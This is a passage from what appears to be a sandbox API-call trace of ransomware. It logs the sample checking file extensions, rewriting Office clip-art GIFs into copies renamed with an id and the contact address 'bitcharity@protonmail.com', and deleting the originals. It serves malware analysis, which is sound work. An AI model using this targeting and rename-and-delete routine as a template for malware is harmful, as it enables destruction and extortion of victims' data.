(lpString=".doc") returned 4 [0149.311] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.311] lstrlenW (lpString=".docx") returned 5 [0149.311] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.311] lstrlenW (lpString=".pdf") returned 4 [0149.311] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.311] lstrlenW (lpString=".xls") returned 4 [0149.311] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.311] lstrlenW (lpString=".xlsx") returned 5 [0149.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.311] lstrlenW (lpString=".ppt") returned 4 [0149.311] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0149.311] lstrlenW (lpString=".zip") returned 4 [0149.311] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.311] lstrlenW (lpString=".rar") returned 4 [0149.311] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.311] lstrlenW (lpString=".bz2") returned 4 [0149.311] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.311] lstrlenW (lpString=".7z") returned 3 [0149.312] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0149.312] lstrlenW (lpString=".dbf") returned 4 [0149.312] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0149.312] lstrlenW (lpString=".1cd") returned 4 [0149.312] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0149.312] lstrlenW (lpString=".jpg") returned 4 [0149.312] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.313] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.313] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0149.313] GetLastError () returned 0x0 [0149.314] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x3bcc, lpOverlapped=0x0) returned 1 [0149.366] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x3bd0, lpOverlapped=0x0) returned 1 [0149.368] ReadFile (in: hFile=0x10e8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.368] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.368] SetEndOfFile (hFile=0x103c) returned 1 [0149.368] CloseHandle (hObject=0x103c) returned 1 [0149.373] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.373] SetEndOfFile (hFile=0x10e8) returned 1 [0149.374] CloseHandle (hObject=0x10e8) returned 1 [0149.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0149.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0149.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0149.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0149.375] lstrlenW (lpString=".doc") returned 4 [0149.375] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.375] lstrlenW (lpString=".docx") returned 5 [0149.375] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.375] lstrlenW (lpString=".pdf") returned 4 [0149.375] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.375] lstrlenW (lpString=".xls") returned 4 [0149.375] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.376] lstrlenW (lpString=".xlsx") returned 5 [0149.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.376] lstrlenW (lpString=".ppt") returned 4 [0149.376] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0149.376] lstrlenW (lpString=".zip") returned 4 [0149.376] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.376] lstrlenW (lpString=".rar") returned 4 [0149.376] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.376] lstrlenW (lpString=".bz2") returned 4 [0149.376] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.376] lstrlenW (lpString=".7z") returned 3 [0149.376] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0149.376] lstrlenW (lpString=".dbf") returned 4 [0149.376] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0149.376] lstrlenW (lpString=".1cd") returned 4 [0149.376] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0149.376] lstrlenW (lpString=".jpg") returned 4 [0149.376] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.424] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.424] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0149.429] GetLastError () returned 0x0 [0149.429] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x135b, lpOverlapped=0x0) returned 1 [0150.037] WriteFile (in: hFile=0x10a8, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1360, lpOverlapped=0x0) returned 1 [0150.038] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.038] WriteFile (in: hFile=0x10a8, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.038] SetEndOfFile (hFile=0x10a8) returned 1 [0150.038] CloseHandle (hObject=0x10a8) returned 1 [0150.043] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.043] SetEndOfFile (hFile=0x10ec) returned 1 [0150.044] CloseHandle (hObject=0x10ec) returned 1 [0150.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0150.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0150.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0150.049] lstrlenW (lpString=".doc") returned 4 [0150.049] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.049] lstrlenW (lpString=".docx") returned 5 [0150.049] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.049] lstrlenW (lpString=".pdf") returned 4 [0150.049] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.049] lstrlenW (lpString=".xls") returned 4 [0150.049] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.049] lstrlenW (lpString=".xlsx") returned 5 [0150.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.049] lstrlenW (lpString=".ppt") returned 4 [0150.049] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0150.049] lstrlenW (lpString=".zip") returned 4 [0150.049] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.049] lstrlenW (lpString=".rar") returned 4 [0150.050] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.050] lstrlenW (lpString=".bz2") returned 4 [0150.050] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.050] lstrlenW (lpString=".7z") returned 3 [0150.050] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0150.050] lstrlenW (lpString=".dbf") returned 4 [0150.050] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0150.050] lstrlenW (lpString=".1cd") returned 4 [0150.050] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0150.050] lstrlenW (lpString=".jpg") returned 4 [0150.050] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.051] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.051] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0150.057] GetLastError () returned 0x0 [0150.057] ReadFile (in: hFile=0x10a8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x1b48, lpOverlapped=0x0) returned 1 [0150.074] WriteFile (in: hFile=0x10cc, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1b50, lpOverlapped=0x0) returned 1 [0150.075] ReadFile (in: hFile=0x10a8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.075] WriteFile (in: hFile=0x10cc, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.076] SetEndOfFile (hFile=0x10cc) returned 1 [0150.076] CloseHandle (hObject=0x10cc) returned 1 [0150.077] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.077] SetEndOfFile (hFile=0x10a8) returned 1 [0150.078] CloseHandle (hObject=0x10a8) returned 1 [0150.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0150.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0150.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0150.079] lstrlenW (lpString=".doc") returned 4 [0150.079] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.079] lstrlenW (lpString=".docx") returned 5 [0150.079] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.079] lstrlenW (lpString=".pdf") returned 4 [0150.079] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.079] lstrlenW (lpString=".xls") returned 4 [0150.079] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.079] lstrlenW (lpString=".xlsx") returned 5 [0150.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.079] lstrlenW (lpString=".ppt") returned 4 [0150.079] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0150.079] lstrlenW (lpString=".zip") returned 4 [0150.079] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.079] lstrlenW (lpString=".rar") returned 4 [0150.079] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.079] lstrlenW (lpString=".bz2") returned 4 [0150.080] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.080] lstrlenW (lpString=".7z") returned 3 [0150.080] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0150.080] lstrlenW (lpString=".dbf") returned 4 [0150.080] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0150.080] lstrlenW (lpString=".1cd") returned 4 [0150.080] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0150.080] lstrlenW (lpString=".jpg") returned 4 [0150.080] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.095] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.095] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0150.098] GetLastError () returned 0x0 [0150.098] ReadFile (in: hFile=0x10c0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x2186, lpOverlapped=0x0) returned 1 [0150.102] WriteFile (in: hFile=0x108c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x2190, lpOverlapped=0x0) returned 1 [0150.103] ReadFile (in: hFile=0x10c0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.103] WriteFile (in: hFile=0x108c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.104] SetEndOfFile (hFile=0x108c) returned 1 [0150.107] CloseHandle (hObject=0x108c) returned 1 [0150.108] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.108] SetEndOfFile (hFile=0x10c0) returned 1 [0150.109] CloseHandle (hObject=0x10c0) returned 1 [0150.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0150.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0150.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0150.111] lstrlenW (lpString=".doc") returned 4 [0150.111] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.111] lstrlenW (lpString=".docx") returned 5 [0150.111] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.111] lstrlenW (lpString=".pdf") returned 4 [0150.111] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.111] lstrlenW (lpString=".xls") returned 4 [0150.111] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.111] lstrlenW (lpString=".xlsx") returned 5 [0150.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.111] lstrlenW (lpString=".ppt") returned 4 [0150.111] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0150.111] lstrlenW (lpString=".zip") returned 4 [0150.111] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.111] lstrlenW (lpString=".rar") returned 4 [0150.111] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.111] lstrlenW (lpString=".bz2") returned 4 [0150.111] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.111] lstrlenW (lpString=".7z") returned 3 [0150.111] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0150.111] lstrlenW (lpString=".dbf") returned 4 [0150.111] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0150.111] lstrlenW (lpString=".1cd") returned 4 [0150.111] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0150.112] lstrlenW (lpString=".jpg") returned 4 [0150.112] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.115] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.115] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0150.116] GetLastError () returned 0x0 [0150.116] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x14ff, lpOverlapped=0x0) returned 1 [0150.212] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1500, lpOverlapped=0x0) returned 1 [0150.218] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.218] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.219] SetEndOfFile (hFile=0x10c0) returned 1 [0150.219] CloseHandle (hObject=0x10c0) returned 1 [0150.222] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.222] SetEndOfFile (hFile=0x10ec) returned 1 [0150.224] CloseHandle (hObject=0x10ec) returned 1 [0150.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0150.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0150.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0150.229] lstrlenW (lpString=".doc") returned 4 [0150.229] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.230] lstrlenW (lpString=".docx") returned 5 [0150.230] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.230] lstrlenW (lpString=".pdf") returned 4 [0150.230] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.230] lstrlenW (lpString=".xls") returned 4 [0150.230] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.230] lstrlenW (lpString=".xlsx") returned 5 [0150.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.230] lstrlenW (lpString=".ppt") returned 4 [0150.230] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0150.230] lstrlenW (lpString=".zip") returned 4 [0150.230] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.230] lstrlenW (lpString=".rar") returned 4 [0150.230] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.230] lstrlenW (lpString=".bz2") returned 4 [0150.230] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.230] lstrlenW (lpString=".7z") returned 3 [0150.230] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0150.230] lstrlenW (lpString=".dbf") returned 4 [0150.230] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0150.230] lstrlenW (lpString=".1cd") returned 4 [0150.230] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.230] lstrlenW (lpString="C:\\Program Files\\Microsoft 